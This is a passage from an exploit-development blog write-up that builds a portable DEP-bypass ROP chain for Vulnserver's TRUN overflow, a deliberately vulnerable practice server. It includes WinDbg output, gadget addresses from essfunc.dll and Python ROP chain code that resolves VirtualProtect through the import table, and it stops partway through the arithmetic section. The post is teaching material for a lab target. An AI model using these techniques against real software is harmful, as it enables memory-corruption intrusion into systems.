Ingredous Labs

Vulnserver - Portable DEP Bypass

Fri, 22 Sep 2023 00:00:00 +0000

Preface

While searching online for a Vulnserver TRUN Overflow proof-of-concept capable of circumventing DEP, all the available examples seemed to utilize Mona to construct the ROP chain, drawing gadgets from multiple modules with the majority (if not all) being system libraries.

The challenge here lies in the fragile nature of the ROP chain when relying on system libraries. Since 2007, Windows system libraries are compiled with ASLR, making their memory addresses unpredictable. What complicates this is that the base addresses for these libraries are set when the system boots up. So, if you’re using hardcoded addresses from these libraries in your ROP chain, your exploit will fail if the target system restarts.

Furthermore, even if you somehow manage to sidestep the ASLR issue, you’ll still be tied down to a specific Windows version. System libraries are often updated or changed between different versions of the OS. So, the gadgets you rely on today might not be available or could be located at different addresses in a future Windows update. This lack of adaptability limits the usefulness of your exploit across different environments.

Lastly in a real-world scenario, you won’t have the luxury of knowing the hardcoded memory addresses of gadgets residing in system libraries on a remote target system. This makes the hardcoded addresses practically useless for bypassing DEP in remote exploitation scenarios. As a result, your ROP chain ends up being effective only for local exploitation, severely limiting its practical utility.

What’s the solution? On paper, it’s straightforward: construct the ROP chain using gadgets from the libraries bundled with the application. But as we’ll discover, executing this solution is far from simple.

Building the ROP Chain

Note: The Exploit Protection settings on Windows 10 were modifed to enable DEP for the Vulnsever.exe process.

After booting up Windbg and attaching to Vulnserver.exe, the modules loaded in the process are shown below along with their memory protections:

0:000> !nmod
00400000 0041d000 vulnserver           /SafeSEH OFF                C:\Users\m\Desktop\vulnserver\vulnserver.exe
62500000 6251b000 essfunc              /SafeSEH OFF                C:\Users\m\Desktop\vulnserver\essfunc.dll
75030000 75268000 KERNELBASE           /SafeSEH ON  /GS *ASLR *DEP C:\Windows\System32\KERNELBASE.dll
75a60000 75b1f000 msvcrt               /SafeSEH ON  /GS *ASLR *DEP C:\Windows\System32\msvcrt.dll
76520000 765ba000 KERNEL32             /SafeSEH ON  /GS *ASLR *DEP C:\Windows\System32\KERNEL32.DLL
76820000 76883000 WS2_32               /SafeSEH ON  /GS *ASLR *DEP C:\Windows\System32\WS2_32.dll
76d80000 76e45000 RPCRT4               /SafeSEH ON  /GS *ASLR *DEP C:\Windows\System32\RPCRT4.dll
76ed0000 7706f000 ntdll                /SafeSEH ON  /GS *ASLR *DEP ntdll.dll

In the case of Vulnserver, there are only two modules which are not system libraries:

vulnserver (base executable)
essfunc (library)

Moreover, the situation is complicated by the fact that the memory regions of the vulnserver module start with 0x00. In the context of this application, a null-byte is considered a ‘bad character’. This effectively renders any gadgets within the vulnserver module unusable. Even if you manage to use a ‘partial overwrite’, you could only use a single gadget successfully; all subsequent gadgets would get truncated due to the null-byte issue. This leaves us with the essfunc module as our sole source for usable gadgets.

An added advantage of the essfunc module is its uncommon preferred base address, which is 0x62500000. This is significant because the default base address on x86 for a DLL is usually 0x10000000. If multiple libraries in the application used this default, there’s a good chance their addresses would conflict. In that case, Windows would resolve the clash by assigning an available base address, essentially randomizing it. With the essfunc module’s unique base address, we sidestep this issue.

Determining the API to use to bypass DEP

Several functions exist for bypassing DEP, with the most commonly used ones being VirtualAlloc, VirtualProtect, and WriteProcessMemory. Upon inspecting the imported functions in esssfunc.dll, we find that it includes VirtualProtect. This makes it our go-to function for bypassing DEP.

For context, the VirtualProtect function prototype is the following:

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

Preserving the Stack

When creating a ROP chain, one of the initial steps usually involves saving the stack’s address in a register. This is important because often a ‘skeleton’ is part of the buffer, serving as a blueprint to set up a VirtualProtect call. The skeleton typically looks like this:

skeleton = b''
skeleton += struct.pack('I', 0x45454545) # VirtualProtect address
skeleton += struct.pack('I', 0x46464646) # ret address
skeleton += struct.pack('I', 0x47474747) # lpAddress 
skeleton += struct.pack('I', 0x48484848) # dwsize (0x01)
skeleton += struct.pack('I', 0x49494949) # flNewProtect (0x40)
skeleton += struct.pack('I', 0x4a4a4a4a) # lpflOldProtect (ptr to valid memory location)

In order to preserve the ESP register, you will find common gadgets such as:

push esp ; pop r32 ; ret

mov r32, esp ; ret

// assuming that r32 is 0x00
or r32, esp ; ret

// assuming that r32 is 0xFFFFFFF
and r32, esp

// asuming that r32 is 0x00
add r32, esp ; ret

// assuming that r32 is 0x00
sub esp, r32
neg r32
ret

In this specific scenario, however, we didn’t find any gadgets that would help with this. Interestingly, we did find that EAX is pointing to the stack, specifically, it is 0x7E0 bytes away from the stack pointer. This is advantageous as we can use the current EAX address to construct the VirtualProtect call without any interference from the other gadgets. Although it’s possible to place the skeleton shown above on the stack and reach it by adjusting EAX using arithmetic instructions, there’s really no reason to do so.

You’ll soon observe that in this specific gadget chain, EAX is frequently used as a transient or “scratch” register due to the nature of the gadgets. To mitigate the ephemeral nature of EAX, its value was persisted to ECX This choice was influenced by the discovery of two particularly useful gadgets. These gadgets allow EAX and ECX to essentially be interchanged between one another. These gadgets will prove valuable later in the writeup.

0x625021ff: nop ; mov ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; ret 
0x6250219d: mov eax, ecx ; ret

Dynamically obtaining the address of VirtualProtect

While essfunc isn’t compiled with ASLR, the VirtualProtect function, housed in kernel32, is. This means that the VirtualProtect address will be subject to randomization. So, the puzzle here is: how do we find the address of VirtualProtect during runtime?

Enter the Import Address Table (IAT), a powerful mechanism for tackling this issue. As one Stack Overflow answer explains:

The Import Address Table consists of function pointers and is utilized to fetch function addresses when DLLs are loaded. A compiled application is engineered to use these function pointers instead of hardcoding direct addresses.

The great thing about an IAT belonging to a module without ASLR, like essfunc, is that it will contain a hardcoded pointer to VirtualProtect. This pointer can be easily dereferenced at runtime to acquire the actual address of the VirtualProtect function, sidestepping the randomization issue.

Here’s a quick guide that illustrates the process:

Open essfunc.dll in IDA Pro or any other disassembler of your choice. Once the binary analysis is complete, look under the Imports tab. Search for your desired function, and you should find an entry similar to:

62507120		VirtualProtect	KERNEL32

The address 0x62507120 serves as the hardcoded pointer directing to the actual VirtualProtect address.

Now, connect a debugger like WinDbg to vulnserver.exe. Use the following command to dereference the pointer and reveal the first few instructions at the address, along with the symbol name

0:000> u poi(0x62507120)
KERNEL32!VirtualProtectStub:
77db5c80 8bff            mov     edi,edi
77db5c82 55              push    ebp
77db5c83 8bec            mov     ebp,esp
77db5c85 5d              pop     ebp
77db5c86 ff251888e177    jmp     dword ptr [KERNEL32!_imp__VirtualProtect (77e18818)]

Note that the symbol name displayed is VirtualProtectStub, which essentially calls VirtualProtect internally. This confirms that VirtualProtect’s address can indeed be acquired during runtime.

The in-depth explanation earlier paves the way for our hunt for a specific kind of gadget—a gadget that can dereference a DWORD from a memory address and move it into a register. Simply put, we’re looking for something like:

mov r32, [r32]

To expedite the search, using regular expressions can be quite handy. For example, to find a gadget similar to the one above, the following expression can be used:

mov\se\w\w,\s\s\[e\w\w\]

The search yields two gadgets matching this pattern:

0x62501e2d: lea esi,  [esi+0x00] ; mov eax,  [ebx] ; mov  [esp+0x00], eax ; call ebp 
0x62501e30: mov eax,  [ebx] ; mov  [esp+0x00], eax ; call ebp 

Upon closer inspection, these gadgets are actually identical, distinguished only by a leading instruction in the first one. In other words, the mov eax, [ebx] occurs at the same address in both aka 0x62501e30.

Moreover, these gadgets look daunting at first, due to the mov [esp+0x00], eax instruction and the subsequent indirect call. When encountering challenges like this, it’s advisable to look for alternative gadgets that essentially accomplish the same dereferencing goal. For example:

push [eax]
pop ebx
...
ret

xor eax, eax / sub eax, eax
add eax, [ebx]
...
ret

xor eax, eax / sub eax, eax
or eax, [ebx]
...
ret

Regrettably, upon further investigation, the essfunc module doesn’t offer such alternatives. The only viable option remains:

mov eax,  [ebx] ; mov  [esp+0x00], eax ; call ebp

To demystify this gadget, let’s break down its individual instructions:

mov eax, [ebx] - Dereferences a DWORD from [EBX] and moves it into EAX
mov [esp+0x00], eax - Overwrites the value on top of the stack with EAX.
call ebp - Makes an indirect call to EBP.

This gadget presents a set of challenges, as discussed earlier. The primary concern is that it meddles with the stack, which holds our gadget chain aiming to create a VirtualProtect function call. Any alteration to the stack jeopardizes this chain. Also, typical gadgets usually end with a ret instruction, so the program fetches the next gadget from the stack. But due to how the call instruction works, it alters the stack again by pushing the return address, further complicating the situation.

Surprisingly, the tricky gadget we’ve been analyzing could actually serve us well, provided we’re able to preload an arbitrary value into EBP. The good news is that the essfunc module has an instruction like pop ebp ; ret, making this feasible.

Here’s the fundamental outline:

Load EBP with an address pointing to another gadget that will remove two values from the top of the stack—essentially a pop/pop/ret sequence:

pop r32 - Clears the return address that was pushed by the call operation.
pop r32 - Clears the value written onto the stack by mov [esp+0x00], eax.
ret - Proceeds to the next gadget in the chain.

We’re in luck again, as the essfunc module contains several pop/pop/ret instructions, such as:

0x625012f6: pop edi ; pop ebp ; ret

So, the sequence of gadgets would look something like this:

rop += struct.pack('<L', 0x625012f7) # pop ebp ret
rop += struct.pack('<L', 0x625012f6) # pop edi ; pop ebp ; ret
rop += struct.pack('<L', 0x6250103d) # pop ebx ; ret
rop += struct.pack('<L', 0x62507120) # VirtualProtect IAT
rop += struct.pack('<L', 0x62501e30) # mov eax,  [ebx] ; mov  [esp+0x00], eax ; call ebp
rop += struct.pack('<L', 0x42424242) # junk to be overwritten by [esp + 0x00]
rop += struct.pack('<L', 0x62501d08) # ! int3 (breakpoint instruction) 

After incorporating this gadget chain into the proof-of-concept buffer, it’s behavior can be observed in the debugger. At the first breakpoint:

Breakpoint 0 hit
...
essfunc+0x12f7:
625012f7 5d              pop     ebp

Upon stepping over, EBP now points to the pop/pop/ret gadget:

0:003> u ebp L3
essfunc+0x12f6:
625012f6 5f              pop     edi
625012f7 5d              pop     ebp
625012f8 c3              ret

The next gadget: pop ebx ; ret loads the IAT entry address of VirtualProtect into EBX, which is confirmed by stepping over it:

0:003> r ebx
ebx=62507120

Next, the critical instruction that dereferences the DWORD from EBX into EAX:

62501e30 8b03            mov     eax,dword ptr [ebx]

Stepping over it confirms that EAX now holds the address of the VirtualProtect stub:

0:003> u eax
KERNEL32!VirtualProtectStub:
77db5c80 8bff            mov     edi,edi
77db5c82 55              push    ebp
77db5c83 8bec            mov     ebp,esp
77db5c85 5d              pop     ebp
77db5c86 ff251888e177    jmp     dword ptr [KERNEL32!_imp__VirtualProtect (77e18818)]

Now comes the problematic instruction:

62501e32 890424          mov     dword ptr [esp],eax

Let’s verify that the stack value to be overwritten is the placeholder value that was included in the chain for this specific purpose:

0:003> dd esp L1
00e9fa18  42424242

Finally, the make-or-break instruction:

62501e35 ffd5            call    ebp

Stepping into the call and examining the stack reveals:

0:003> dd esp L3
00e9fa14  62501e37 77db5c80 62501d08

The first address aka 0x62501e37 is the return address in which the call ebp instruction pushed onto the stack. Following that 0x77db5c80 is the address of the VirtualProtect stub which made it onto the stack due to the mov [esp+0x00], eax instruction. Finally 0x62501d08 is the next gadget in our chain that we would like to reach.

As we step through the pop/pop/ret instructions, the stack realigns perfectly:

625012f6 5f   pop edi  -> pops 0x62501e37 into EDI
625012f7 5d   pop ebp  -> pops 0x77db5c80 into EBP
625012f8 c3   ret      -> returns to 0x62501d08

In conclusion, we’ve successfully repurposed a gadget that, under most other circumstances, would have been unsuitable. It now effectively achieves the targeted action of dereferencing a pointer into a register.

Overriding the first placeholder

After successfully obtaining the runtime address of the VirtualProtect stub, the next objective is to weave this into the ‘skeleton’ that will invoke the VirtualProtect call.

Here’s a quick refresher on how the ‘skeleton’ is structured:

- VirtualProtect Address
- Return Address // start of shellcode address
- lpAddress // start of shellcode (same as above)
- dwSize // 0x01
- flNewProtect // 0x1000
- lpflOldProtect // any valid arbitrary pointer

Our next hurdle involves finding a gadget that performs the opposite of the one we’ve just discussed—specifically, moving a DWORD into a pointer, in other words:

mov [r32], r32

The two involved registers must be different in this case. The source register should contain the VirtualProtect address, while the destination register will point to the beginning of the skeleton.

To expedite the gadget search, using a regular expression like the one below can be helpful:

mov\s\s\[e\w\w\],\se\w\w

This query yields four gadgets that match:

0x62501ea0: and al, 0x20 ; mov  [esp+0x00], 0x62505388 ; mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]
0x62501ea9: mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC] 
0x62501ea2: mov  [esp+0x00], 0x62505388 ; mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]
0x62501e9e: mov eax,  [esp+0x20] ; mov  [esp+0x00], 0x62505388 ; mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]

Upon closer inspection, these gadgets turn out to be variations of the same core instruction set, all containing mov [ebx], eax at the same address 0x62501ea9. Unfortunately, these gadgets seem problematic, particularly due to the call to a seemingly arbitrary pointer.

In scenarios where a gadget might introduce unintended effects—such as an arbitrary call instruction—it’s wise to search for alternative options, like:

push eax
pop [ebx]
...
ret

Note: There are a few more esoteric gadgets that can achieve the behavior however they rely on the first DWORD of the pointing referenced by the destination register to be 0x00.

Despite the search, no suitable alternatives were discovered, leaving us with the initial problematic gadget:

mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC] 

So, the pressing question is, how to handle the call [0x625070DC] instruction? Fortunately, since ASLR is not enabled on this module, and given the unique preferred base address, the pointer at 0x625070DC will be valid every time essfunc.dll is loaded into memory.

By leveraging the approach we took in the previous challenge, we can manipulate the memory in a way that makes the pointer at 0x625070DC point to a gadget simulating a ret instruction. Just like we saw before, invoking a call instruction will push the subsequent instruction’s address onto the stack to act as a return address. The gadget we choose must then execute this specific sequence:

pop r32 // pop return address into scratch register
ret

So, how do we modify the pointer to direct to this gadget? We employ a slight variation of the pattern we used before:

pop r32 ; ret
0x625070DC
// r32 now holds the pointer

pop r32; ret (different register than the earlier one)
0x12345678
// pop address of gadget that will perform pop/ret intruction (can be the same address of the pop r32; ret gadget 

Curiously, we find ourselves back at the initial issue - we need a gadget capable of storing a DWORD into a pointer. In a rather meta-ironic twist, we’ll use the same gadget that we’re attempting to manipulate:

mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC] 

This results in the following sequence of gadgets:

rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret
rop += struct.pack('<L', 0x625070DC) # ebx will be 0x625070DC 
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0x625012f7) # pop ebp; ret
rop += struct.pack('<L', 0x62501ea9) # mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]

Incorporating this into the proof of concept, we can step through the debugger to get a btter understanding of what is happening.

The first executed instruction is pop ebx ; ret. Skipping past this instruction reveals that EBX holds the pointer’s address:

0:004> r @ebx
ebx=625070dc

Next, we encounter pop eax ; ret. Stepping over this shows that EAX now holds another gadget’s address, namely pop ebp ; ret:

0:004> u eax
essfunc+0x12f7:
625012f7 5d              pop     ebp
625012f8 c3              ret

The upcoming instruction is the very gadget we’ve been diligently searching for:

62501ea9 8903  mov  dword ptr [ebx],eax

After stepping over it, lets examine the first DWORD referenced by [EBX]:

0:004> u poi(ebx)
essfunc+0x12f7:
625012f7 5d              pop     ebp
625012f8 c3              ret

It now houses the pop r32; ret gadget!

The subsequent instruction seems complex, but is actually innocuous. It simply overwrites EAX with a DWORD from [ESP + 0x24]:

62501eab 8b442424 mov eax,dword ptr [esp+24h]

In our scenario, this is harmless, but it does mean EAX must be considered a scratch register (circling back to what was alluded near the beginning of the writeup).

The next executed instruction, mov dword ptr [ebx+4],eax, changes the second DWORD pointed to by EBX, but this is inconsequential.

Finally, we arrive at the much-anticipated call [0x625070DC] instruction, let’s observe the instruction right after the call and then step into the call to see its inner workings:

0:004> u eip L2
essfunc!EssentialFunc14+0x8e8:
62501eb2 ff15dc705062    call    dword ptr [essfunc!EssentialFunc14+0x5b12 (625070dc)]
62501eb8 a180535062      mov     eax,dword ptr [essfunc!EssentialFunc14+0x3db6 (62505380)]

0:004> t

0:004> dds esp L2
0103fa14  62501eb8 essfunc!EssentialFunc14+0x8ee  <---- return address of the instruction after the call
0103fa18  62501d08 essfunc!EssentialFunc14+0x73e  <---- address of the next gadget in the chain

625012f7 5d   pop ebp

0:004> t
// EBP clears 0x62501eb8 from the stack

625012f8 c3   ret

0:004> dd esp L1
0103fa18  62501d08

As clearly displayed, at the time of executing the ret instruction, the address on top of the stack points to next instruction in the gadget chain, therefore demonstrating that usually discarded gadget was repurposed into something useful.

Quick Detour

Before delving deeper into overriding the first placeholder of the VirtualProtect skeleton with the address of the VirtualProtect stub, we need to address an issue. The beginning of the gadget indicates that for the mov [ebx], eax instruction to execute, EBX must possess the pointer pointing to the start of the VirtualProtect skeleton. Currently, only EAX and ECX have this pointer. As highlighted earlier, the initial EAX pointer was stored in ECX because EAX would act as a scratch register. This situation now becomes pivotal.

We can identify several gadgets to transfer the value from EAX/ECX to EBX, with r32 representing either EAX or ECX:

mov ebx, r32
...
ret

push r32
pop ebx
...
ret

xchg r32, ebx / xchg ebx, r32
...
ret

xor ebx, ebx / sub ebx, ebx
add ebx, r32
...
ret

xor ebx, ebx / sub ebx, ebx
or ebx, r32
...
ret

mov ebx, 0xFFFFFFFF
and ebx, r32
...
ret

But we face a challenge. What’s intriguing about ROP chains are the unexpected outcomes some gadgets yield. Here’s an illustrative example:

A unique gadget found appears unproductive initially but is crucial:

0x62501a9d: mov  [esp+0x00], eax ; call  [0x62507124]

Let’s breakdown the gadget to better understand what it does:

mov [esp+0x00], eax - Overwrites the top of the stack with the value of EAX.
call [0x62507124] - Makes a call to the address in which 0x62507124 is pointing to.

While individually they might seem unimpressive, their combined effect in the gadget is potent.

To grasp its function, we’ll navigate through a debugger using a specified sequence of gadgets. Here’s how the sequence of gadget currently appears:

rop = b''
# 0. preserve location of VirtualProtect skeleton in ECX
rop += struct.pack('<L', 0x625021ff) # nop ; mov ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; ret
rop += struct.pack('<L', 0x41414141) # junk for ebx
rop += struct.pack('<L', 0x41414141) # junk for esi
###
rop += struct.pack('<L', 0x62501a9d) # mov  [esp+0x00], eax ; call  [0x62507124]
rop += struct.pack('<L', 0x41414141) # junk will be overwritten by [esp + 0x00]
rop += struct.pack('<L', 0x62501d08) # ! int3 (breakpoint instruction) 

The breakpoint will be specifically set on the instruction located at 0x62501a9d.

Breakpoint 0 hit
...
essfunc!EssentialFunc14+0x4d3:
62501a9d 890424   mov dword ptr [esp],eax

At the current moment EAX points to the start of the VirtualProtect skeleton aka 0x011ff228.

Stepping over the mov dword ptr [esp],eax instruction shows that the value on top of the stack is now 0x011ff228:

0:004> dd esp L1
010efa14  010ef228

The next instruction is the one which will make the call to the pointer:

62501aa0 ff1524715062   call dword ptr [essfunc!EssentialFunc14+0x5b5a (62507124)]

Let’s step into the call and observe the stack:

0:004> dds esp L3
010efa10  62501aa6  // return address pushed via the call instruction
010efa14  011ff228  // EAX (pointer to VirtualProtect skeleton)
010efa18  62501d08  // address of next gadget in chain

So in order to get the value on the stack into EBX and return to the next gadget in the chain, we need to find a gadget which does the following:

pop r32
pop ebx
ret

Luckily, there is a gadget that makes this possible:

0x625014e1: pop ebx ; pop ebx ; ret

This means we can modify the 0x62507124 pointer to hold the address to the gadget above. The sequence of these gadgets should be placed after those that initially modified the 0x625070DC pointer, constructing our gadget chain:

rop = b''
# 0. preserve location of VirtualProtect skeleton in ECX
rop += struct.pack('<L', 0x625021ff) # nop ; mov ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; ret
rop += struct.pack('<L', 0x41414141) # junk for ebx
rop += struct.pack('<L', 0x41414141) # junk for esi
# ECX now holds pointer to VirtualProtect skeleton

# 1. override 0x625070DC to hold address of pop r32 ; ret gadget
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret
rop += struct.pack('<L', 0x625070DC) # ebx will be 0x625070DC 
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0x625012f7) # pop ebp; ret
rop += struct.pack('<L', 0x62501ea9) # mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]

# 2. override 0x62507124 to hold address of pop r32 ; pop ebx ; ret gadget
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret
rop += struct.pack('<L', 0x62507124) # ebx will be 0x62507124 
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0x625014e1) # address of pop ebx ; pop ebx ; ret
# EAX now holds address of pop ebx ; pop ebx ; ret
rop += struct.pack('<L', 0x62501ea9) # mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]

However there is a slight problem, EAX gets mangled throughout these sequence of gadgets hence why we persisted the original value of EAX in ECX. Thus we can use the following gadget to restore EAX to its original value:

rop += struct.pack('<L', 0x6250219d) # mov eax, ecx ; ret
rop += struct.pack('<L', 0x62501a9d) # mov  [esp+0x00], eax ; call  [0x62507124]
rop += struct.pack('<L', 0x41414141) # junk will be overwritten by [esp + 0x00]
rop += struct.pack('<L', 0x62501d08) # ! int3 (breakpoint instruction) 

Let’s set a breakpoint at the address of the instruction which restores EAX from ECX aka 0x6250219d and step through-it once again.

Breakpoint 0 hit
essfunc!EssentialFunc14+0xbd3:
6250219d 89c8   mov eax,ecx

After this gadget is executed, EAX points to the start of the VirtualProtect skeleton once again which the address is 0x00ecf228.

Stepping through the gadgets until the mov [esp+0x00], eax ; call [0x62507124] instruction is reached:

essfunc!EssentialFunc14+0x4d3:
62501a9d 890424   mov dword ptr [esp],eax

After stepping over this instruction, let’s examine the stack:

0:003> dd esp L1
00ecfa40  00ecf228

As shown above, the value of EAX is at the top of the stack. Now let’s step into the call instruction:

essfunc!EssentialFunc14+0x4d6:
62501aa0 ff1524715062   call dword ptr [essfunc!EssentialFunc14+0x5b5a (62507124)]

0:003> t
...
essfunc!EssentialFunc3+0x7:
625014e1 5b              pop     ebx

Before stepping through the pop ebx instruction, let’s examine the stack:

0:003> dds esp L3
00ecfa3c  62501aa6
00ecfa40  00ecf228
00ecfa44  62501d08

Now the address on top of the stack is the return addresses which was placed on the stack because of the call instruction. Let’s pop it off and re-examine the stack afterwards:

essfunc!EssentialFunc3+0x8:
625014e2 5b              pop     ebx

0:003> dds esp L1
00ecfa40  00ecf228

The next value on top of the stack is the pointer to the VirtualProtect skeleton, the pointer which is held by EAX. After stepping through the second pop instruction, we can verify that EBX now holds this address:

0:003> r @ebx
ebx=00ecf228

Finally we get to the ret instruction which will instruct the instruction pointer to return to the address which is on top of the stack:

essfunc!EssentialFunc3+0x9:
625014e3 c3              ret
0:003> r @ebx

ebx=00ecf228
0:003> dds esp L1
00ecfa44  62501d08

As shown above, the program will proceed to the address of the subsequent gadget in the sequence, maintaining the flow of the chain!

Back to overriding the first placeholder

Having set EBX to point to the beginning of the VirtualProtect skeleton and adjusted the pointers to reference the addresses of gadgets that emulate specific behaviors, the next step is to replace the first DWORD in the skeleton with the VirtualProtect address. As discussed earlier, the address of VirtualProtect was obtained at runtime by accessing the IAT.

Now, let’s refocus on the subsequent gadget which serves our purpose:

mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC] 

For this to work, EAX should contain the address of the VirtualProtect stub. To fit this requirement, we’ll need to restructure our gadget chain. One of the recurrent aspects of crafting ROP chains is this need to occasionally revisit and adjust the sequence to ensure functionality. Rarely do you build a ROP chain in a linear fashion from beginning to end; instead, there’s often a need to skip around and return to various segments:

As such, our gadget chain will now be the following:

rop = b''
# 0. preserve location of VirtualProtect skeleton in ECX
rop += struct.pack('<L', 0x625021ff) # nop ; mov ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; ret
rop += struct.pack('<L', 0x41414141) # junk for ebx
rop += struct.pack('<L', 0x41414141) # junk for esi

# 1. override pointers with gadgets
# override 0x625070DC to hold address of pop r32 ; ret gadget
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret
rop += struct.pack('<L', 0x625070DC) # ebx will be 0x625070DC 
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0x625012f7) # pop ebp; ret
rop += struct.pack('<L', 0x62501ea9) # mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]

# override 0x62507124 to hold address of pop r32 ; pop ebx ; ret gadget
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret
rop += struct.pack('<L', 0x62507124) # ebx will be 0x62507124 
rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0x625014e1) # address of pop ebx ; pop ebx ; ret
# EAX now holds address of pop ebx ; pop ebx ; ret
rop += struct.pack('<L', 0x62501ea9) # mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]

# 2. retrieve VirtualProtect VMA and move into ESI
# 62507120		VirtualProtect	KERNEL32
rop += struct.pack('<L', 0x625012f7) # pop ebp ret
rop += struct.pack('<L', 0x625012f6) # pop edi ; pop ebp ; ret
rop += struct.pack('<L', 0x6250103d) # pop ebx ; ret
rop += struct.pack('<L', 0x62507120) # VirtualProtect IAT
rop += struct.pack('<L', 0x62501e30) # mov eax,  [ebx] ; mov  [esp+0x00], eax ; call ebp
rop += struct.pack('<L', 0x42424242) # junk to be overwritten by [esp + 0x00]
# preserve VirtualProtect VMA in ESI
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501e3a) # mov esi, eax ; call edi
# * ESI now holds VirtualProtect VMA

# 3. get EBX to point to start of VirtualProtect skeleton
rop += struct.pack('<L', 0x6250219d) # mov eax, ecx ; ret
rop += struct.pack('<L', 0x62501a9d) # mov  [esp+0x00], eax ; call  [0x62507124]
rop += struct.pack('<L', 0x41414141) # junk will be overwritten by [esp + 0x00]

# 4. overwrite first placeholder with VirtualProtect VMA
rop += struct.pack('<L', 0x62502412) # mov eax, esi ; pop esi ; pop edi ; ret
rop += struct.pack('<L', 0x41414141) # junk for esi
rop += struct.pack('<L', 0x41414141) # junk for edi
rop += struct.pack('<L', 0x62501ea9) # mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]  
# ! first placeholder overwritten with VirtualProtect VMA

Overriding the second and third placeholders

After overwriting the initial DWORD in the ‘skeleton’ with the VirtualProtect address, we turn our focus to the second DWORD, which serves as the return address for the shellcode. This ensures that once the VirtualProtect call concludes, the stack will direct the application to jump to the shellcode’s starting point. As you may have observed a common pattern throughout this writeup, accomplishing this is not as straightforward as it sounds.

While crafting a ROP chain, it’s often difficult to gauge the exact number of gadgets required. Each gadget added nudges the shellcode an additional 0x04 bytes away from its original position. Due to this uncertainty, a placeholder is employed for the return address, typically set to ESP + 0x104. This provides a head start when the time comes to adjust the return address to align with the shellcode’s starting location as only the offset that is added to the stack will need to be adjusted.

When dealing with arithmetic operations, especially addition, one might come across the following useful gadget. In our scenario, let’s assume that ECX carries the number of bytes we wish to add, while EAX retains the previously preserved stack address:

pop ecx ; ret        // Pop 0x104 into ECX
add ecx, eax ; ret 
// Now, ECX is 0x104 bytes further from the preserved ESP value
// Keep in mind: "add eax, ecx ; ret" is a valid alternative, but it modifies the preserved ESP value

However, a challenge arises in the x86 architecture, particularly due to the way integers are represented. Integers span four bytes, and if a number doesn’t occupy the entire width, it’s padded with zeros. This can pose issues in applications where null-bytes disrupt string operations, a fairly common hurdle.

The behavior is evident in Ruby:

irb(main):002:0> [0x01].pack('I')
=> "\x01\x00\x00\x00"

irb(main):004:0> [0xFFFFFFFF].pack('I')
=> "\xFF\xFF\xFF\xFF"

To navigate this, one could employ a neat trick: subtract the desired number from 0 thus obtaining it’s two-complement. Taking 0x104 as an example:

0:003> ? 0 - 0x104
Evaluate expression: -260 = fffffefc

Now, 0xfffffefc is sufficiently large to cover all four bytes.

A peculiar aspect of the x86 architecture is its handling of addition operations that yield an eight-byte result, referred to as a QWORD. Despite the x86 not traditionally supporting QWORD arithmetic (exceptions exist in the realm of floating-point operations), if two four-byte values are added to produce a QWORD, the compiler simply truncates the most significant four bytes, preserving only the least significant half.

To illustrate this behavior, we can perform an addition between 0x104 and its two’s complement, which is 0xfffffefc. When combined, the compiler will effectively regard the sum as 0x00:

0:004> ? 0x104 + fffffefc
Evaluate expression: 4294967296 = 00000001`00000000

The result, 0x0000000100000000, represents a value that has exceeded the 4-byte boundary of a DWORD. But in the context of a DWORD operation in x86, only the least significant 4 bytes would be retained, which is 0x00. This showcases the interesting behavior of the x86 architecture when faced with arithmetic overflow.

Leveraging the nuances of x86 arithmetic overflow offers unique ways to “increment” a value. Here are some common approaches:

The Power of the `neg` Instruction

The neg operation calculates the two’s complement of a value, essentially subtracting it from 0.

Executing the neg instruction on 0xfffffefc yields 0x104:

0:004> ? 0 - 0xfffffefc
Evaluate expression: -4294967036 = ffffffff`00000104

After this, an add r32, r32 gadget can be employed to augment the value of the destination operand by 0x104.

Emulating the `neg` Behavior

In scenarios where a handy neg instruction-containing gadget is missing, it’s still possible to simulate its operation using other instructions:

ECX = 0xfffffefc
EAX = 0x00

sub eax, ecx
// EAX is now 0x104

To null out EAX, several alternatives exist:

xor eax, eax
sub eax, eax

Intricacies of the `sub` Instruction

Using a sub instruction to increment might sound counterintuitive, but thanks to arithmetic overflow, it’s possible.

0:004> r @esp
esp=0115fa08

0:004> r @eax
eax=fffffefc

> sub esp, eax

